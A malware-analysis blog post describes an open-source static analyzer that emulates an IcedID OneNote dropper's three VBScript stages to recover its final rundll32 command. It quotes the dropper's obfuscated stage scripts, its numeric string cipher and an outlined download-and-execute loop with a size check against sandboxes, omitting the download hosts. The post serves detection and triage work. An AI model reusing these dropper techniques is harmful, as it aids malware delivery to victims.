November 21, 2026
Recovering the final command from OneNote droppers by emulating their VBScript stages
How a static analyzer follows an IcedID OneNote dropper through three script stages, a custom string cipher and a file-size check, down to…

By Ialle Teixeira
9 min read
How a static analyzer follows an IcedID OneNote dropper through three script stages, a custom string cipher and a file-size check, down to the rundll32 command it would run, without executing anything.
When OneNote droppers took over from macro documents in early 2023, triage got harder in a specific way. The .one file is only a wrapper. The interesting part is a script embedded in it, and that script usually does not contain the payload either: it writes another script to disk and launches it, and that one builds a third. The command you actually want, the one that loads the malware, only exists at the end of the chain, assembled at run time.
Sandboxes answer this by running the chain. That works, but it needs the infrastructure to be alive, it is slow for bulk triage, and many droppers check their environment before doing anything. Static tools see the first script and stop there, because every later stage is an encoded string.
This post walks through one sample end to end and shows how MaldocTrace, an open-source analyzer I maintain, recovers each stage by emulating the scripts instead of running them. The techniques are not specific to the tool. If you write detection or triage tooling, the problems are the same.
Sample: IcedID OneNote dropper, SHA-256 4cdab0573e8b094fe8937a00c833cee67b8ccd9dbb5ae706624e5c12bdb7ae21 (203,128 bytes).
No network or payload URLs appear in this post. The third stage contains a list of download hosts; it is described, not reproduced.
The result first
This is the complete output of maldocTrace analyze on the sample (version 0.6.0, no options; the analysis took 62 ms):
Verdict: MALICIOUS (risk 100/100)
+15 medium static finding: onenote_embedded_file
+40 high static finding: embedded_script
+40 1 script(s) carried by the document
+90 script emulation embedded_3.vbs: malicious
MaldocTrace 0.6.0 (schema 1.7.0)
File: 4cdab0573e8b094fe8937a00c833cee67b8ccd9dbb5ae706624e5c12bdb7ae21.one (203128 bytes)
SHA-256: 4cdab0573e8b094fe8937a00c833cee67b8ccd9dbb5ae706624e5c12bdb7ae21
Format: onenote
Status: complete | Macros: absent
Operational: completed | Semantic coverage: supported_subset
-- Static findings --
[finding-1] onenote_embedded_file (medium)
Target: 1 file(s)
Location: OneNote section
Detail: OneNote section embeds files that open on a double click (lure pictures are often placed over them)
[finding-2] embedded_script (high)
Target: embedded_3.vbs
Location: FileDataStoreObject at offset 78120
Detail: VBScript script carried by the document (49337 bytes); it runs when opened
-- Reconstructed and embedded files --
FileDataStoreObject at offset 78120 sha256=61e30e5027e36f945125634a1c363d2245404ec2d94071007fca55976dd6c2b6 (49337 bytes)
File type: VBScript script
-- Files found inside (analysed separately; full reports in JSON children) --
[script emulation] embedded_3.vbs: MALICIOUS (risk 90) | format vbscript | status complete | sha256=61e30e5027e36f945125634a1c363d2245404ec2d94071007fca55976dd6c2b6
command %TEMP%\rad5F3A1A3F5dar.vbs
file %TEMP%\rad5F3A1A3F5dar.html (, 44957 bytes)
file %TEMP%\rad5F3A1A3F5dar.vbs (, 313 bytes)
6 indicator(s)
[script stage] %TEMP%\rad5F3A1A3F5dar.vbs: MALICIOUS (risk 60) | format vbscript | status complete | sha256=71490a53eb852cbb3c3370b7ad404196a93a3c5cf51ee92a16bf76bb23be2dfb
command wscript /e:vbscript %TEMP%\rad5F3A1A3F5dar.html
4 indicator(s)
[script stage] %TEMP%\rad5F3A1A3F5dar.html: MALICIOUS (risk 95) | format vbscript | status partial | sha256=833d25d964fd6bee9a2dd5bb979ff1caa16a899dc089e708d017eb5947ba14b7
command rundll32.exe "C:\Users\user\AppData\Local\Temp\rad5F3A1.tmp.html",#1
file C:\Users\user\AppData\Local\Temp\rad5F3A1.tmp.html (, 0 bytes)
37 indicator(s)Verdict: MALICIOUS (risk 100/100)
+15 medium static finding: onenote_embedded_file
+40 high static finding: embedded_script
+40 1 script(s) carried by the document
+90 script emulation embedded_3.vbs: malicious
MaldocTrace 0.6.0 (schema 1.7.0)
File: 4cdab0573e8b094fe8937a00c833cee67b8ccd9dbb5ae706624e5c12bdb7ae21.one (203128 bytes)
SHA-256: 4cdab0573e8b094fe8937a00c833cee67b8ccd9dbb5ae706624e5c12bdb7ae21
Format: onenote
Status: complete | Macros: absent
Operational: completed | Semantic coverage: supported_subset
-- Static findings --
[finding-1] onenote_embedded_file (medium)
Target: 1 file(s)
Location: OneNote section
Detail: OneNote section embeds files that open on a double click (lure pictures are often placed over them)
[finding-2] embedded_script (high)
Target: embedded_3.vbs
Location: FileDataStoreObject at offset 78120
Detail: VBScript script carried by the document (49337 bytes); it runs when opened
-- Reconstructed and embedded files --
FileDataStoreObject at offset 78120 sha256=61e30e5027e36f945125634a1c363d2245404ec2d94071007fca55976dd6c2b6 (49337 bytes)
File type: VBScript script
-- Files found inside (analysed separately; full reports in JSON children) --
[script emulation] embedded_3.vbs: MALICIOUS (risk 90) | format vbscript | status complete | sha256=61e30e5027e36f945125634a1c363d2245404ec2d94071007fca55976dd6c2b6
command %TEMP%\rad5F3A1A3F5dar.vbs
file %TEMP%\rad5F3A1A3F5dar.html (, 44957 bytes)
file %TEMP%\rad5F3A1A3F5dar.vbs (, 313 bytes)
6 indicator(s)
[script stage] %TEMP%\rad5F3A1A3F5dar.vbs: MALICIOUS (risk 60) | format vbscript | status complete | sha256=71490a53eb852cbb3c3370b7ad404196a93a3c5cf51ee92a16bf76bb23be2dfb
command wscript /e:vbscript %TEMP%\rad5F3A1A3F5dar.html
4 indicator(s)
[script stage] %TEMP%\rad5F3A1A3F5dar.html: MALICIOUS (risk 95) | format vbscript | status partial | sha256=833d25d964fd6bee9a2dd5bb979ff1caa16a899dc089e708d017eb5947ba14b7
command rundll32.exe "C:\Users\user\AppData\Local\Temp\rad5F3A1.tmp.html",#1
file C:\Users\user\AppData\Local\Temp\rad5F3A1.tmp.html (, 0 bytes)
37 indicator(s)The rest of this post is how each arrow was recovered.
Stage 0: getting the script out of the OneNote file
A .one file is a revision store: a tree of objects referencing each other by GUID and file offset. Embedded attachments live in FileDataStoreObject blocks: a header GUID, a length, the raw bytes and a footer GUID. The lure picture ("double-click to view the document") is a separate image object placed on top of the attachment's icon.
Extracting attachments only needs the FileDataStoreObject blocks, not the full object graph. The original file names are kept in separate property sets, so the analyzer names attachments by index and classifies them by content. It finds one at offset 78,120: a 49,337-byte VBScript file, reported as embedded_3.vbs. Two static findings already justify a verdict here (an embedded file that runs on double click, and that file is a script), but they don't tell you what it does. For that, the script has to run.
Stage 1: a script that writes scripts
The first script opens like this:
public shozatyagi, barhatnie, condor, luthie
kefeme:twondload:CreateObject("shell.application").open (""+luthie+"")
function kefeme
Set DSO = CreateObject("Scripting.FileSystemObject")
barhatnie = DSO.GetSpecialFolder(51 - 7 * 7) + "\" + left(DSO.gettempname,7) + right(StrReverse(DSO.gettempname),8)+".html"
Set f = DSO.CreateTextFile(barhatnie, True)
calcuta = "exkdqwqomfecute"
calcuta = left(calcuta,2)+right(calcuta,5)
f.WriteLine("public oneandtwentlala")
f.WriteLine("stepp")
...public shozatyagi, barhatnie, condor, luthie
kefeme:twondload:CreateObject("shell.application").open (""+luthie+"")
function kefeme
Set DSO = CreateObject("Scripting.FileSystemObject")
barhatnie = DSO.GetSpecialFolder(51 - 7 * 7) + "\" + left(DSO.gettempname,7) + right(StrReverse(DSO.gettempname),8)+".html"
Set f = DSO.CreateTextFile(barhatnie, True)
calcuta = "exkdqwqomfecute"
calcuta = left(calcuta,2)+right(calcuta,5)
f.WriteLine("public oneandtwentlala")
f.WriteLine("stepp")
...Three details matter for an emulator.
Line 2 is three statements, not a label. kefeme:twondload:CreateObject(...) reads like a VBA label followed by code, and a parser that treats it that way skips the two calls that do all the work. In VBScript there are no labels: : separates statements, so this line calls kefeme, then twondload, then opens whatever path luthie holds. MaldocTrace parses VBScript and VBA with the same front end, so this rule has to switch with the language.
The path is computed. GetSpecialFolder(51 - 7 * 7) is GetSpecialFolder(2), the temp folder. The file name combines two calls to GetTempName, which on Windows returns a random name like radB93F1.tmp. The emulator returns a fixed rad5F3A1.tmp, so left(…,7) gives rad5F3A and right(StrReverse(…),8) gives 1A3F5dar. That is where rad5F3A1A3F5dar.html in the output comes from. These file names are produced by the emulator, not IOCs: on a real victim they are different on every run.
Keywords are hidden in strings. left("exkdqwqomfecute",2) + right(…,5) is "execute", written into the next stage so the word never appears in this one.
The rest of the function is 194 f.WriteLine(...) calls that write the third stage line by line into the .html file, then a second function, twondload, writes a 313-byte .vbs, and Shell.Application.Open launches it.
The emulator keeps a virtual file system: CreateTextFile, WriteLine and Close append to an in-memory file, which becomes an artifact with its own SHA-256 when it is closed. The JSON report records 204 events for this stage, one per object call, each with the module, line and column it came from and the arguments both as written and as resolved:
{"type": "file_open", "receiver": "FileSystemObject", "method": "CreateTextFile",
"arguments": [{"original": "barhatnie", "value": "%TEMP%\\rad5F3A1A3F5dar.html", "kind": "string"}, ...],
"proc": "kefeme", "line": 8, "col": 27, "simulated": true, "speculative": false}{"type": "file_open", "receiver": "FileSystemObject", "method": "CreateTextFile",
"arguments": [{"original": "barhatnie", "value": "%TEMP%\\rad5F3A1A3F5dar.html", "kind": "string"}, ...],
"proc": "kefeme", "line": 8, "col": 27, "simulated": true, "speculative": false}Following a stage that was written to disk
At this point the emulator has two written files and one launched command, %TEMP%\rad5F3A1A3F5dar.vbs. Which file is the next stage?
The rule MaldocTrace uses is deliberately simple. A written file is the next stage if its name appears in a command that a script engine runs: wscript, cscript, //E:vbscript, a .vbs opened through the shell. Failing that, a written .vbs file is chosen. Each stage's SHA-256 is remembered so a script that rewrites itself can't loop, and the chain is capped at three stages. Each stage is analyzed as a child report of the previous one, so its events, commands and IOCs feed the parent's verdict.
Here, the launched .vbs matches. It is the entire second stage:
shozatyagi = "scrih=6jc3ct0qozx.1,a'fw[eb5/e:vbs8m;kiug-t2pr90dy7vls4anb]pt"
shozatyagi = "w"+left(shozatyagi,4)+right(shozatyagi,2)+space(1)+ right(left(shozatyagi,33),5)+left(shozatyagi,4)+right(shozatyagi,2)+space(1)+ "%TEMP%\rad5F3A1A3F5dar.html"
createobject("wscript.shell").run (shozatyagi),10-10,trueshozatyagi = "scrih=6jc3ct0qozx.1,a'fw[eb5/e:vbs8m;kiug-t2pr90dy7vls4anb]pt"
shozatyagi = "w"+left(shozatyagi,4)+right(shozatyagi,2)+space(1)+ right(left(shozatyagi,33),5)+left(shozatyagi,4)+right(shozatyagi,2)+space(1)+ "%TEMP%\rad5F3A1A3F5dar.html"
createobject("wscript.shell").run (shozatyagi),10-10,trueThe junk string is a source of substrings: "w" + "scri" + "pt" is wscript, right(left(s,33),5) is /e:vb, then "scri" + "pt" again. The resolved command, recorded in the wscript_shell_run event, is:
wscript /e:vbscript %TEMP%\rad5F3A1A3F5dar.htmlwscript /e:vbscript %TEMP%\rad5F3A1A3F5dar.htmlThe .html extension is cosmetic. /e:vbscript forces the VBScript engine regardless of extension, and the stage-follower rule above picks the .html file because its name appears in that command together with vbscript.
A side effect worth noting for IOCs: this stage embeds the computed path, so its hash changes with every victim's temp file name. The hash in the report (71490a53…) is only valid for the emulator's run. The third stage is written with fixed WriteLine calls and doesn't have that problem.
Stage 3: a numeric cipher and Execute
The third stage is 44,957 bytes. Its visible code is short:
public oneandtwentlala
stepp
oclockla = "oclockla"
for adieusla = 1 to Ubound(oneandtwentlala)
luctusla = luctusla & chr(Clng(oneandtwentlala(adieusla)) / 501)
Next
execute luctusla
Function stepp
selfdestinedla = selfdestinedla + ("Klo256112Klo258617Klo249098Klo254108...")
... (178 such lines)
dolefulla = dolefulla + ("gexkpsKlo2falsesabertoothlahonestllalawarehouseslasabertoothla")
archivela = mid(dolefulla,7,4)
oneandtwentlala = Split(selfdestinedla,archivela,-1,0)
end functionpublic oneandtwentlala
stepp
oclockla = "oclockla"
for adieusla = 1 to Ubound(oneandtwentlala)
luctusla = luctusla & chr(Clng(oneandtwentlala(adieusla)) / 501)
Next
execute luctusla
Function stepp
selfdestinedla = selfdestinedla + ("Klo256112Klo258617Klo249098Klo254108...")
... (178 such lines)
dolefulla = dolefulla + ("gexkpsKlo2falsesabertoothlahonestllalawarehouseslasabertoothla")
archivela = mid(dolefulla,7,4)
oneandtwentlala = Split(selfdestinedla,archivela,-1,0)
end functionstepp concatenates 178 chunks of Klo2… numbers, then splits them on a separator taken from the middle of another junk string: mid("gexkpsKlo2false…", 7, 4) is Klo2. The top-level loop divides each number by 501 and turns it into a character. The first element is 56112: 56112 / 501 = 112, which is p. The next ones give u, b, l, i, c, which spells public. The whole string is then handed to Execute.
Nothing here needs a custom decoder. If the emulator implements Mid, Split, CLng, Chr, string concatenation and For loops, and implements Execute by parsing its argument and running it in the current scope, the obfuscation removes itself. The report records the decoded code as a script_execute_statement event, so the analyst can read the real third stage without decoding anything by hand.
That decoded code is the downloader. In outline:
litteral = "https://www."
set request = createobject("winhttp.winhttprequest.5.1")
set strout = createobject("adodb.stream")
pat3 = curdir + "\" + fsobject.gettempname + ".html"
loiu = chr(115-1)+"u"+"nd"&"ll"+"3"+"2."+chr(101)+"x"+chr(101)+" "+""""+ pat3 +""""+",#1"
url1 = "…" ' 37 hard-coded hosts, omitted here
...
do
call dow
loop while urlcount < 38
public function dow()
on error resume next
' select case urlcount: downstr = litteral + urlN + "/<same path on every host>"
request.open "get", downstr, false
request.send
If Err.Number <> 0 then
urlcount = urlcount + 1 ' host is down: try the next one
else
strout.open : strout.type = 1
strout.write (request.responsebody)
strout.savetofile pat3
Set f = fsobject.GetFile(pat3)
gfs = clng(f.size/1024)
wscript.sleep 3000
If gfs > 270 Then
call roize ' runs: rundll32.exe "<pat3>",#1
urlcount = 38
else
... ' too small: new temp name, next host
end if
end if
end functionlitteral = "https://www."
set request = createobject("winhttp.winhttprequest.5.1")
set strout = createobject("adodb.stream")
pat3 = curdir + "\" + fsobject.gettempname + ".html"
loiu = chr(115-1)+"u"+"nd"&"ll"+"3"+"2."+chr(101)+"x"+chr(101)+" "+""""+ pat3 +""""+",#1"
url1 = "…" ' 37 hard-coded hosts, omitted here
...
do
call dow
loop while urlcount < 38
public function dow()
on error resume next
' select case urlcount: downstr = litteral + urlN + "/<same path on every host>"
request.open "get", downstr, false
request.send
If Err.Number <> 0 then
urlcount = urlcount + 1 ' host is down: try the next one
else
strout.open : strout.type = 1
strout.write (request.responsebody)
strout.savetofile pat3
Set f = fsobject.GetFile(pat3)
gfs = clng(f.size/1024)
wscript.sleep 3000
If gfs > 270 Then
call roize ' runs: rundll32.exe "<pat3>",#1
urlcount = 38
else
... ' too small: new temp name, next host
end if
end if
end functionloiu is chr(114) = r + undll32.exe "<path>",#1. The script walks a list of 37 hosts, downloads the same path from each, saves it with an .html extension, and only runs it if the file is larger than 270 KB. Anything smaller (an error page, a sinkhole response, a sandbox's fake HTTP reply) is ignored and the next host is tried.
The problem: the payload is behind a condition that can't be true
A static emulator makes no network requests, by design. request.send is simulated and succeeds, the saved file is empty, and the honest answer to f.size is "unknown". With normal semantics, If gfs > 270 is false (or an error), the rundll32 line never runs, and the report ends with a download and nothing else. The most important command in the chain would be missing.
This pattern is common: "if the downloaded file is big enough", "if this registry key exists", "if the user name isn't sandbox". MaldocTrace handles it with speculative branches:
- Values the emulator cannot know are represented explicitly as unknown, with a reason. Here
File.Sizeof a downloaded file returnsunknown("size of …\rad5F3A1.tmp.html is not simulated"), andclng(unknown / 1024) > 270stays unknown. - When an
Ifcondition evaluates to unknown, the branch is executed anyway, and every event produced inside it carries"speculative": true. - A diagnostic is added to the report so the decision is visible.
From the third stage's JSON:
"diagnostics": [{"severity": "warning", "stage": "runtime",
"message": "conditional expression unresolved, branch explored speculatively: binary op > with unknown operand"}]
{"id": 11, "type": "wscript_shell_run", "receiver": "WScript.Shell", "method": "run",
"resolved": ["rundll32.exe \"C:\\Users\\user\\AppData\\Local\\Temp\\rad5F3A1.tmp.html\",#1"],
"proc": "roize", "line": 171, "simulated": true, "speculative": true}"diagnostics": [{"severity": "warning", "stage": "runtime",
"message": "conditional expression unresolved, branch explored speculatively: binary op > with unknown operand"}]
{"id": 11, "type": "wscript_shell_run", "receiver": "WScript.Shell", "method": "run",
"resolved": ["rundll32.exe \"C:\\Users\\user\\AppData\\Local\\Temp\\rad5F3A1.tmp.html\",#1"],
"proc": "roize", "line": 171, "simulated": true, "speculative": true}So the report contains the rundll32 command, and it also says this command sits behind a condition that was assumed, not observed. That distinction matters downstream: a SOC can alert on the command, and an analyst knows it depends on the download succeeding.
The same mechanism explains why this stage is status partial. The DLL itself is never fetched, so its contents (and its hash, e3b0c442…, the SHA-256 of an empty file) are unknown. The report says so instead of pretending.
The 37 indicators of the last stage are 31 domains from the host list, 2 URLs, 2 commands, the saved path and the empty file's hash. The decoded third stage, with the complete host list, is in the JSON report (script_calls) for your blocklists; it is just not reproduced here.
What an emulator needs for this chain
Looking back at the three stages, the list of features this sample required is short:
- VBScript parsing rules (: separates statements; no labels), sharing a front end with VBA.
- String functions:
Left,Right,Mid,StrReverse,Split,Space,Chr,CLng, and arithmetic in arguments (51 - 7 * 7,10 - 10,115 - 1). ExecuteandExecuteGlobal, running the built string in the current scope.- Simulated COM objects:
Scripting.FileSystemObjectwith a virtual file system,WScript.Shell,Shell.Application,WinHttp.WinHttpRequest,ADODB.Stream. - Stage following: written files, launched commands, matching one to the other.
- An explicit unknown value and speculative
Ifbranches.
None of this is IcedID-specific. Before the 0.6.0 release, the analyzer was checked against 14 recent OneNote droppers from MalwareBazaar (IcedID, Emotet, Qakbot, Gozi, MetaStealer), and it recovers the commands from all the script-based ones. Their obfuscation differs; the building blocks are the same.
Limitations
- It is a supported subset of VBScript and of the Windows objects malware uses, as the
Semantic coverageline in the output says. When a script uses something that isn't modelled, the stage ends aspartialwith a diagnostic rather than a guess. - Speculative branches explore the first branch whose condition is unknown. A script that hides the payload behind several nested unknowns may need more than that.
- There is no network access, so the final payload is never fetched. You get where it would come from and how it would be run, not the payload itself. For that you still need a sandbox or the infrastructure to be alive.
- Names derived from
GetTempName, the user profile (C:\Users\user) and anything that embeds them, such as the second stage's hash, come from the emulator's environment and should not be used as IOCs.
Try it
MaldocTrace is Apache-2.0 and ships as a static binary for Windows, Linux and macOS:
pip install maldoctrace
maldoctrace analyze sample.one
maldoctrace analyze sample.one --format json # full report with every event
maldoctrace analyze sample.one --dump-payloads out/ # every written stage, with a manifestpip install maldoctrace
maldoctrace analyze sample.one
maldoctrace analyze sample.one --format json # full report with every event
maldoctrace analyze sample.one --dump-payloads out/ # every written stage, with a manifestBesides OneNote and VBScript it handles VBA (including stomped modules rebuilt from p-code), Excel 4.0 macros, RTF with Equation Editor exploits, CVE-2017–0199 OLE links, emails and archives.
Code, docs and releases: https://github.com/debugactiveprocess/MaldocTrace
If you have a chain it gets wrong, I'd like to see the hash.